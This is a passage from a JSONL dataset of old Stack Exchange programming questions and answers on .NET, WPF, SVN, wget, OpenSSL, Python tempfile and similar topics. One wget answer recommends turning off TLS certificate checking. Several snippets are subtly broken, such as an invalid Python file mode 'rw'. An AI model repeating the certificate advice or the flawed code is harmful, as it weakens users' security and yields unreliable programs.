class=\"Tiger192\"/>\n                <nameEntry name=\"Tiger192\" class=\"Tiger192\"/>\n                <nameEntry name=\"Tiger160\" class=\"Tiger160\"/>\n                <nameEntry name=\"Tiger128\" class=\"Tiger128\"/>\n                <nameEntry name=\"System.Security.Cryptography.HashAlgorithm\" class=\"Tiger192\"/>\n            </cryptoNameMapping>\n            <oidMap>\n                <oidEntry OID=\"1.3.6.1.4.1.11591.12.2\" name=\"Jcs.Tiger.Tiger192\"/>\n            </oidMap>\n        </cryptographySettings>\n    </mscorlib>\n</configuration>\n```\n```\nThis allows my code to look like so:\n```\n```\nusing (var h1 = HashAlgorithm.Create(\"Tiger192\"))\n{\n   ...\n}\n```\n```\nand there's no dependency on the Jcs.Tiger.dll assembly in my code at all, hard or soft.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.667597"}
{"id": "hf_66236f58365a", "question": "<p>I am attempting to get the <a href=\"http://www.jetbrains.com/resharper/\" rel=\"nofollow noreferrer\">Resharper</a> test runner to recognize my MSTest unit tests via <a href=\"http://www.gallio.org/\" rel=\"nofollow noreferrer\">Gallio</a>.</p>\n\n<p>I have the following installed:\nVSTS 2005 8.0.50727.762\nResharper 4.1\nGallio 3.0.0.285</p>\n\n<p>I am also running Windows XP x64.</p>\n\n<p>The unit test options only shows NUnit as being available. I am thinking that I must have some versioning wrong. Can someone point me in the right direction? Am I barking up the wrong tree and this is only works in VS2k8? </p>\n\n<p><strong>UPDATE:</strong> Well I updated Gallio to GallioBundle-3.0.4.385-Setup and it now shows up in the unit test options for R#. But I get the following error when running tests in either R# or Icarus:</p>\n\n<blockquote>\n  <p>Failures Cannot \n  run tests because the\n  MSTest executable was not found</p>\n</blockquote>\n\n<p>Thanks </p>\n", "question_body": "", "answer": "I'm not sure if this applies to your question, but the latest news on the Gallio site states :\nGallio and ReSharper 4.0\nA few people have asked when Gallio will\n  support the final release of ReSharper\n  4.0. Unfortunately there were some last-minute breaking changes between\n  ReSharper 4.0 Beta and the Final\n  release. So the ReSharper plugin in\n  Gallio Alpha 3 Update 2 will not work\n  anymore. No matter... we plan to\n  release another update of Gallio later\n  this week.\nUpdate:\njust saw this applied to an earlier version than you were using so disregard that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.691494"}
{"id": "hf_5942002c5f98", "question": "<p>I'm using wget to connect to a secure site like this:</p>\n\n<p><code>wget -nc -i inputFile</code></p>\n\n<p>where inputeFile consists of URLs like this:</p>\n\n<p><code><a href=\"https://clientWebsite.com/TheirPageName.asp?orderValue=1.00&amp;merchantID=36&amp;programmeID=92&amp;ref=foo&amp;Ofaz=0\" rel=\"nofollow noreferrer\">https://clientWebsite.com/TheirPageName.asp?orderValue=1.00&amp;merchantID=36&amp;programmeID=92&amp;ref=foo&amp;Ofaz=0</a></code></p>\n\n<p>This page returns a small gif file.  For some reason, this is taking around 2.5 minutes.  When I paste the same URL into a browser, I get back a response within seconds.  </p>\n\n<p>Does anyone have any idea what could be causing this?</p>\n\n<p>The version of wget, by the way, is \"GNU Wget 1.9+cvs-stable (Red Hat modified)\"</p>\n", "question_body": "", "answer": "Try forging your UserAgent\n```\n```\n-U \"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\"\n```\n```\nDisable Ceritificate Checking ( slow )\n```\n```\n--no-check-certificate\n```\n```\nDebug whats happening by enabling verbostity\n```\n```\n-v\n```\n```\nEliminate need for DNS lookups:\nHardcode thier IP address in your HOSTS file\n```\n```\n/etc/hosts \n123.122.121.120  foo.bar.com\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.731052"}
{"id": "hf_86d33d1af198", "question": "<p>Is there an easy way to find the number of classes contained within a visual studio solution?   Other than writing a funky find script, I couldn't find a way to do it within the code metrics piece of VS.  </p>\n\n<p>I am running Visual Studio 2008 and this is a VB.Net project through and through.</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "I haven't used these tools before, but they probably have some facility that can help you.  Basically any code metrics package can help.  VS 2008 was supposed to have a built in code metrics tool, but I think it was nixed for one reason or another.\nCodeMetrics Plugin for Reflector\nNDepend\n- commercial I think, though has a trial download\n--Edit--\nJRoppert is correct.  I actually remember reading that the metrics tool was only available in the Team edition, not in Pro or Express", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.755637"}
{"id": "hf_904dc89d4d96", "question": "<p>Does anyone know how SQL Server determines the order triggers (of same type, i.e. before triggers) are executed.  And is there any way of changing this so that I can specify the order I want.  If not, why not.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The order is set by sql server, the only thing you can do is use a system sp (sp_settriggerorder) to set which trigger will fire first and which will fire last.\nBeyond setting the first and last triggers to fire, you can't modify or tell which order sql server will use.  Therefore you will want to build your triggers so they do not rely on which order they are fired.  Even if you determine the order they fire in today, it may change tomorrow.\nThis information is based on Sql Server 2000, however I do not believe 2005/2008 act differently in this regard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.791018"}
{"id": "hf_9fbc080ef1d4", "question": "<p>My code takes an interface as input but only excercises a couple of the interface's methods (often, just getters).</p>\n\n<p>When testing the code, I'd love to define an anonymous inner class that returns the test data.  But what do I do about all the other methods that the interface requires?</p>\n\n<p>I could use my IDE to auto-generate a stub for the interface but that seems fairly code-heavy.  </p>\n\n<p>What is the easiest way to stub the two methods I care about and none of the methods I don't?</p>\n", "question_body": "", "answer": "If you are using JUnit to test, use Mocks instead of stubs.\nRead Martin Fowler's seminal article \"\nMocks Aren't Stubs\n\"\nI recommend the\nEasyMock\nframework, it works like a charm automatically Mocking your interface using reflection.  It is a bit more advanced than the code samples in Fowler's article, especially when you use the\nunitils\nlibrary to wrap EasyMock, so the syntax will be much simpler than that in the article.  Also, if you don't have an interface, but you want to mock a concrete class, EasyMock has a class extension.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.813747"}
{"id": "hf_47df6ff236d5", "question": "<p>I am attempting to use the 'tempfile' module for manipulating and creating text files. Once the file is ready I want to save it to disk. I thought it would be as simple as using 'shutil.copy'. However, I get a 'permission denied' IOError:</p>\n\n<pre><code>&gt;&gt;&gt; import tempfile, shutil\n&gt;&gt;&gt; f = tempfile.TemporaryFile(mode ='w+t')\n&gt;&gt;&gt; f.write('foo')\n&gt;&gt;&gt; shutil.copy(f.name, 'bar.txt')\n\nTraceback (most recent call last):\n  File \"&lt;pyshell#5&gt;\", line 1, in &lt;module&gt;\n    shutil.copy(f.name, 'bar.txt')\n  File \"C:\\Python25\\lib\\shutil.py\", line 80, in copy\n    copyfile(src, dst)\n  File \"C:\\Python25\\lib\\shutil.py\", line 46, in copyfile\n    fsrc = open(src, 'rb')\nIOError: [Errno 13] Permission denied: 'c:\\\\docume~1\\\\me\\\\locals~1\\\\temp\\\\tmpvqq3go'\n&gt;&gt;&gt; \n</code></pre>\n\n<p>Is this not intended when using the 'tempfile' library? Is there a better way to do this? (Maybe I am overlooking something very trivial)</p>\n", "question_body": "", "answer": "You could always use\nshutil.copyfileobj\n, in your example:\n```\n```\nnew_file = open('bar.txt', 'rw')\nshutil.copyfileobj(f, new_file)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.871833"}
{"id": "hf_48f6b95f3fa3", "question": "<p>In C#.Net WPF During UserControl.Load -></p>\n\n<p>What is the best way of showing a whirling circle / 'Loading' Indicator on the UserControl until it has finished gathering data and rendering it's contents?</p>\n", "question_body": "", "answer": "I generally would create a layout like this:\n```\n```\n<Grid>\n    <Grid x:Name=\"MainContent\" IsEnabled=\"False\">\n    ...\n    </Grid>\n\n    <Grid x:Name=\"LoadingIndicatorPanel\">\n    ...\n    </Grid>\n</Grid>\n```\n```\nThen I load the data on a worker thread, and when it's finished I update the UI under the \"MainContent\" grid and enable the grid, then set the LoadingIndicatorPanel's Visibility to Collapsed.\nI'm not sure if this is what you were asking or if you wanted to know how to show an animation in the loading label.  If it's the animation you're after, please update your question to be more specific.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.917648"}
{"id": "hf_822e13ae50c1", "question": "<p>I have the following XAML:    </p>\n\n<pre><code>&lt;TextBlock Text=\"{Binding ElementName=EditListBox, Path=SelectedItems.Count}\" Margin=\"0,0,5,0\"/&gt;\n&lt;TextBlock Text=\"items selected\"&gt;\n    &lt;TextBlock.Style&gt;\n        &lt;Style TargetType=\"{x:Type TextBlock}\"&gt;\n            &lt;Style.Triggers&gt;\n                &lt;DataTrigger Binding=\"{Binding ElementName=EditListBox, Path=SelectedItems.Count}\" Value=\"1\"&gt;\n                    &lt;Setter Property=\"TextBlock.Text\" Value=\"item selected\"&gt;&lt;/Setter&gt;\n                &lt;/DataTrigger&gt;\n            &lt;/Style.Triggers&gt;\n        &lt;/Style&gt;\n    &lt;/TextBlock.Style&gt;\n&lt;/TextBlock&gt;\n</code></pre>\n\n<p>The first text block happily changes with SelectedItems.Count, showing 0,1,2, etc.  The datatrigger on the second block never seems to fire to change the text.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "The DataTrigger is firing but the Text field for your second TextBlock is hard-coded as \"items selected\" so it won't be able to change. To see it firing, you can remove Text=\"items selected\".\nYour problem is a good candidate for using a\nValueConverter\ninstead of\nDataTrigger\n. Here's how to create and use the ValueConverter to get it to set the Text to what you want.\nCreate this ValueConverter:\n```\n```\npublic class CountToSelectedTextConverter : IValueConverter\n{\n    #region IValueConverter Members\n\n    public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)\n    {\n        if ((int)value == 1)\n            return \"item selected\";\n        else\n            return \"items selected\";\n    }\n\n    public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)\n    {\n        throw new NotImplementedException();\n    }\n\n    #endregion\n}\n```\n```\nAdd the namespace reference to your the assembly the converter is located:\n```\n```\nxmlns:local=\"clr-namespace:ValueConverterExample\"\n```\n```\nAdd the converter to your resources:\n```\n```\n<Window.Resources>\n    <local:CountToSelectedTextConverter x:Key=\"CountToSelectedTextConverter\"/>\n</Window.Resources>\n```\n```\nChange your second textblock to:\n```\n```\n<TextBlock Text=\"{Binding ElementName=EditListBox, Path=SelectedItems.Count, Converter={StaticResource CountToSelectedTextConverter}}\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.939161"}
{"id": "hf_67217bbcd0a2", "question": "<p>I have a working copy of my project, checked out using Subversion 1.5.1. When I attempt to run <a href=\"http://www.statsvn.org/\" rel=\"nofollow noreferrer\">StatSVN</a> against it, I get the following error:</p>\n\n<blockquote>\n  <p>Sep 18, 2008 12:25:22 PM net.sf.statsvn.util.JavaUtilTaskLogger info\n  INFO: StatSVN - SVN statistics generation</p>\n  \n  <p>Sep 18, 2008 12:25:22 PM net.sf.statsvn.util.JavaUtilTaskLogger info\n  INFO: svn: '.' is not a working copy\n  Sep 18, 2008 12:25:22 PM net.sf.statsvn.util.JavaUtilTaskLogger error\n  SEVERE: Repository root not available - verify that the project was checked out with svn version 1.3.0 or above.</p>\n</blockquote>\n\n<p>Has anyone experienced this? I've seen suggestions it might be related to using a locale other than <code>en_US</code>, but I <em>am</em> using <code>en_US</code>.</p>\n", "question_body": "", "answer": "Just guessing here, but are you sure that statSVN is compatible with working copies created with version 1.5 of the client? The format changed with svn 1.5...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.964584"}
{"id": "hf_f43dea6053fb", "question": "<p>I have 4 versions of file A.txt in my subversion repository, say: A.txt.r1, A.txt.r2, A.txt.r3 and A.txt.r4. My working copy of the file is r4 and I want to switch back to r2. I don't want to use \"<em>svn update -r 2 A.txt</em>\" because this will delete all the revisions after r2, namely r3 and r4. </p>\n\n<p>So is there any way that I update my working copy to r2 and still having the option to switch to r3 and r4 later? Put it another way, I want to still be able to see all 4 revisions by using \"<em>svn log A.txt</em>\" after doing the update.</p>\n", "question_body": "", "answer": "updating to an older rev will not delete your newer revs.\nso you could do\n```\nsvn up -r2 file\n```\n, then\n```\nsvn up -r4 file\n```\n.\nalso, you wouldn't be able to commit the r2 file this way, because you'd have to update before committing, and you'd end up with r4 again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.013202"}
{"id": "hf_aa65aa8b2adc", "question": "<p>I'm looking to have a couple of plugins in a Flex project I'm working on. I know I can load a SWF using the SWFLoader, but I thought in Flex3 you can now have Runtime Shared Libraries or something. Does anyone have any good documentation on loading a plugin at runtime? Ideally I'd like to be able to load a plugin from a URL, then execute some code from within the plugin (e.g. add a control to the page).</p>\n", "question_body": "", "answer": "You can use either Modules or RSL.\nRSLs have the advantage of getting cached by flash rather than the browser so they stick around longer.\nModules are easier to create and use. I have used modules and had issues with modules failing to load (code needs to handle that case). I haven't tried RSLs yet.\nHere is some documentation on creating RSLs\nhttp://labs.adobe.com/wiki/index.php/Flex_3:Feature_Introductions:Flex_3_RSLs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.059724"}
{"id": "hf_0f896b782620", "question": "<p>I want to change the Text of the browse button in the FileUpload Control (System.Web.UI.WebControls), instead of the [Browse...] text I want to use [...]</p>\n", "question_body": "", "answer": "This isn't technically possible for security purposes, so the user cannot be misled.\nHowever, there are a couple of workarounds, although these require working with the raw HTML rather than the .NET server control - take a look at\nhttp://www.quirksmode.org/dom/inputfile.html\nfor one example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.119407"}
{"id": "hf_e228753432fa", "question": "<p>I am building a quiz and i need to calculate the total time taken to do the quiz.\nand i need to display the time taken  in  HH::MM::SS..any pointers?</p>\n", "question_body": "", "answer": "new Date().time returns the time in milliseconds.\n```\n```\nvar nStart:Number = new Date().time;\n\n// Some time passes\n\nvar nMillisElapsed:Number = new Date().time - nStart;\n\nvar strTime:String = Math.floor(nMillisElapsed / (1000 * 60 * 60)) + \"::\" + \n   (Math.floor(nMillisElapsed / (1000 * 60)) % 60) + \"::\" + \n   (Math.floor(nMillisElapsed / (1000)) % 60);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.189450"}
{"id": "hf_a15b3c9be54c", "question": "<p>Is there a method for controlling the Balance of the Wave output that will work on both XP and Vista?</p>\n", "question_body": "", "answer": "Vista has a new api for everything related to mixers and audio, per process legacy api's should still work, but to change global volume, you would have to look at the new COM interfaces added to Vista\nThis\nshould get you started", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.213754"}
{"id": "hf_901a5790bbd0", "question": "<p>I'm generating a self-signed SSL certificate to protect my server's admin section, and I keep getting this message from OpenSSL:</p>\n\n<blockquote>\n  <p>unable to write 'random state'</p>\n</blockquote>\n\n<p>What does this mean?</p>\n\n<p>This is on an Ubuntu server. I have upgraded libssl to fix <a href=\"http://www.ubuntu.com/usn/usn-612-1\">the recent security vulnerability</a>.</p>\n", "question_body": "", "answer": "In practice, the most common reason for this happening seems to be that the .rnd file in your home directory is owned by root rather than your account.  The quick fix:\n```\n```\nsudo rm ~/.rnd\n```\n```\nFor more information, here's the entry from the\nOpenSSL FAQ\n:\nSometimes the openssl command line utility does not abort with a \"PRNG not seeded\" error message, but complains that it is \"unable to write 'random state'\". This message refers to the default seeding file (see previous answer). A possible reason is that no default filename is known because neither RANDFILE nor HOME is set. (Versions up to 0.9.6 used file \".rnd\" in the current directory in this case, but this has changed with 0.9.6a.)\nSo I would check RANDFILE, HOME, and permissions to write to those places in the filesystem.\nIf everything seems to be in order, you could try running with\nstrace\nand see what exactly is going on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.270903"}
{"id": "hf_39e0cc9a1667", "question": "<p>I'd like to install Gentoo. I need it to develop GUI C++ applications using wxWidgets, so I need:</p>\n\n<ul>\n<li>build tools: make, automake, autoconf, etc.</li>\n<li>C++ compiler (GCC)</li>\n<li>X Window System for testing (Fluxbox or something minimal would be enough)</li>\n</ul>\n\n<p>Now, I have two options:</p>\n\n<ul>\n<li>download the small network installer (57MB) do a network install</li>\n<li>download the 600MB CD</li>\n</ul>\n\n<p>I'd like to download as less as possible and still have all the tools above.</p>\n\n<p>I also don't understand whether the network installer will first prompt me for the packages I want, or it will fetch 600 MB of data anyway?</p>\n\n<p>I might want to install it on other computers later, so I'd go with 'full' install from CD if the network install does not save me anything.</p>\n", "question_body": "", "answer": "Gentoo is ultraminimalist by default.\nThe install CD gets you a basic working system, a basic compile environment ( Some version of the GCC suite ), and package management.\nIts up to you then to install what you want to use.\nIts not like many other distributions where theres a big set of \"default\" packages to have installed.\nYou have to know what you want, and install what you want.\nThe \"Live\" Cd will make things a bit quicker  by having a few precompiled binaries available, but besides that, you still have to choose what you want to install.\nI also don't understand whether the\n  network installer will first prompt me\n  for the packages I want, or it will\n  fetch 600 MB of data anyway?\nit will only install what you want to. If you use NetInstall and install nothing except GCC, it will only download enough to have GCC.\nWelcome to gentoo.\nIt can be a little daunting for first timers, but once you've gotten past the steep learning curve you'll love it :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.323235"}
{"id": "hf_3524d72dcfe0", "question": "<p>I need to read selected files, matching on the file name, from a remote zip archive using Python. I don't want to save the full zip to a temporary file (it's not that large, so I can handle everything in memory).</p>\n\n<p>I've already written the code and it works, and I'm answering this myself so I can search for it later. But since evidence suggests that I'm one of the dumber participants on Stackoverflow, I'm sure there's room for improvement.</p>\n", "question_body": "", "answer": "Here's how I did it (grabbing all files ending in \".ranks\"):\n```\n```\nimport urllib2, cStringIO, zipfile\n\ntry:\n    remotezip = urllib2.urlopen(url)\n    zipinmemory = cStringIO.StringIO(remotezip.read())\n    zip = zipfile.ZipFile(zipinmemory)\n    for fn in zip.namelist():\n        if fn.endswith(\".ranks\"):\n            ranks_data = zip.read(fn)\n            for line in ranks_data.split(\"\\n\"):\n                # do something with each line\nexcept urllib2.HTTPError:\n    # handle exception\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.361522"}
{"id": "hf_1bf916ad43a9", "question": "<p>I have a handful of projects that all use one project for the data model.  Each of these projects has its own applicationContext.xml file with a bunch of repetitive data stuff within it.</p>\n\n<p>I'd like to have a modelContext.xml file and another for my ui.xml, etc.</p>\n\n<p>Can I do this?</p>\n", "question_body": "", "answer": "Yes, you can do this via the import element.\n```\n```\n<import resource=\"services.xml\"/>\n```\n```\nEach element's resource attribute is a valid path (e.g. classpath:foo.xml)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.410932"}
{"id": "hf_9e56eece29bd", "question": "<p>I can never remember the number. I need a memory rule.</p>\n", "question_body": "", "answer": "Well, it has 32 bits and hence can store 2^32 different values. Half of those are negative.\nThe solution is 2,147,483,647\nAnd the lowest is −2,147,483,648.\n(Notice that there is one more negative value.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.476812"}
{"id": "hf_6bcc80e0a6ee", "question": "<p>I'm implementing a simple service using datagrams over unix local sockets (AF_UNIX address family, i.e. <strong>not UDP</strong>).  The server is bound to a public address, and it receives requests just fine.  Unfortunately, when it comes to answering back, <code>sendto</code> fails unless the client is bound too.  (the common error is <code>Transport endpoint is not connected</code>).</p>\n\n<p>Binding to some random name (filesystem-based or abstract) works.  But I'd like to avoid that: who am I to guarantee the names I picked won't collide?</p>\n\n<p>The unix sockets' stream mode documentation tell us that an abstract name will be assigned to them at <code>connect</code> time if they don't have one already.  Is such a feature available for datagram oriented sockets?</p>\n", "question_body": "", "answer": "I'm not so sure I understand your question completely, but here is a datagram implementation of an echo server I just wrote. You can see the server is responding to the client on the same IP/PORT it was sent from.\nHere's the code\nFirst, the server (listener)\n```\n```\nfrom socket import *\nimport time\nclass Listener:\n    def __init__(self, port):\n        self.port = port\n        self.buffer = 102400\n\n    def listen(self):\n\n        sock = socket(AF_INET, SOCK_DGRAM)\n        sock.bind(('', self.port))\n\n        while 1:\n            data, addr = sock.recvfrom(self.buffer)\n            print \"Received: \" + data\n            print \"sending to %s\" % addr[0]\n            print \"sending data %s\" % data\n            time.sleep(0.25)\n            #print addr # will tell you what IP address the request came from and port\n            sock.sendto(data, (addr[0], addr[1]))\n            print \"sent\"\n        sock.close()\n\nif __name__ == \"__main__\":\n    l = Listener(1975)\n    l.listen()\n```\n```\nAnd now, the Client (sender) which receives the response from the Listener\n```\n```\nfrom socket import *\nfrom time import sleep\nclass Sender:\n    def __init__(self, server):\n       self.port = 1975\n       self.server = server\n       self.buffer = 102400\n\n    def sendPacket(self, packet):\n        sock = socket(AF_INET, SOCK_DGRAM)\n        sock.settimeout(10.75)\n\n        sock.sendto(packet, (self.server, int(self.port)))\n\n        while 1:\n            print \"waiting for response\"\n            data, addr = sock.recvfrom(self.buffer)\n            sock.close()\n            return data\n\nif __name__ == \"__main__\":\n        s = Sender(\"127.0.0.1\")\n        response = s.sendPacket(\"Hello, world!\")\n        print response\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.522390"}
{"id": "hf_b19018f36030", "question": "<p>How can I bind an array parameter in the HQL editor of the HibernateTools plugin?\nThe query parameter type list does not include arrays or collections.</p>\n\n<p>For example:<br>\n     <code>Select * from Foo f where f.a in (:listOfValues)</code>.<br>\nHow can I bind an array to that listOfValues?</p>\n", "question_body": "", "answer": "You probably cannot. Hibernate replaces the objects it gets out of the database with it's own objects (kind of proxies). I would strongly assume Hibernate cannot do that with an array. So if you want to bind the array-data put it into a List on access by Hibernate.\nAs an example one could do:\n```\n```\nselect * from Foo f where f.a in f.list\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.607250"}
{"id": "hf_c07fab21bfa3", "question": "<p>We are trying to integrate tests in our daily builds using TestComplete, so far we have a machine dedicated for testing and our build script copies to this machine everything TestComplete needs for its tests (Application, Database, Test script project and source files, etc).</p>\n\n<p>Basically we can open the TestComplete project manually and run the tests.</p>\n\n<p>Now we want to automate that process, so how do you do it? Or how do you think would be the simplest and best way to make this automation?</p>\n\n<p>Keeping it short, we want to automate the process of opening TestComplete after each build, run all the tests and send an email with the test results.</p>\n\n<p>Anyone can share some experience about this?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Well, although I have not used TestComplete I have used a competing package called QA Wizard Pro. Since you are asking this question I am assuming that it isn't something that is natively supported by TestComplete. QA Wizard is the same way and they expect it to be run manually instead of automatically, though there are test run files that can be run. For QA Wizard I created a batch file that was run nightly from the task scheduler. The account to run the software must be able to interact with the desktop and a user must be logged in\nwith\na display. I used a free piece of software called\nAutoHotKey\nto automate the running of the tests and then some\nCygwin\ntools to parse the results and trigger an email through\nBlat\nwith the results. It isn't a perfect solution but it does work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.642546"}
{"id": "hf_c548f04470db", "question": "<p>I am new to asp and have a deadline in the next few days.\ni receive the following xml from within a webservice response.</p>\n\n<pre><code>print(\"&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;user_data&gt;\n&lt;execution_status&gt;0&lt;/execution_status&gt;\n&lt;row_count&gt;1&lt;/row_count&gt;\n&lt;txn_id&gt;stuetd678&lt;/txn_id&gt;\n&lt;person_info&gt;\n    &lt;attribute name=\"firstname\"&gt;john&lt;/attribute&gt;\n    &lt;attribute name=\"lastname\"&gt;doe&lt;/attribute&gt;\n    &lt;attribute name=\"emailaddress\"&gt;john.doe@johnmail.com&lt;/attribute&gt;\n&lt;/person_info&gt;\n&lt;/user_data&gt;\");\n</code></pre>\n\n<p>How can i parse this xml into asp attributes?</p>\n\n<p>Any help is greatly appreciated</p>\n\n<p>Thanks\nDamien</p>\n\n<p>On more analysis, some soap stuff is also returned as the aboce response is from a web service call. can i still use lukes code below?</p>\n", "question_body": "", "answer": "You need to read about MSXML parser. Here is a link to a good all-in-one example\nhttp://oreilly.com/pub/h/466\nSome reading on XPath will help as well. You could get all the information you need in MSDN.\nStealing the code from\nLuke\nexcellent reply for aggregation purposes:\n```\n```\nDim oXML, oNode, sKey, sValue\n\nSet oXML = Server.CreateObject(\"MSXML2.DomDocument.6.0\") 'creating the parser object\noXML.LoadXML(sXML) 'loading the XML from the string\n\nFor Each oNode In oXML.SelectNodes(\"/user_data/person_info/attribute\")\n  sKey = oNode.GetAttribute(\"name\")\n  sValue = oNode.Text\n  Select Case sKey\n    Case \"execution_status\"\n    ... 'do something with the tag value\n    Case else\n    ... 'unknown tag\n  End Select\nNext\n\nSet oXML = Nothing\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.678266"}
{"id": "hf_a65d1be821f5", "question": "<p>I know it happens sometime before Load, but during what event exactly?</p>\n", "question_body": "", "answer": "It's loaded into memory between init and load. See t\nhis article\nfor a full break down of the page lifecycle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:10.701254"}
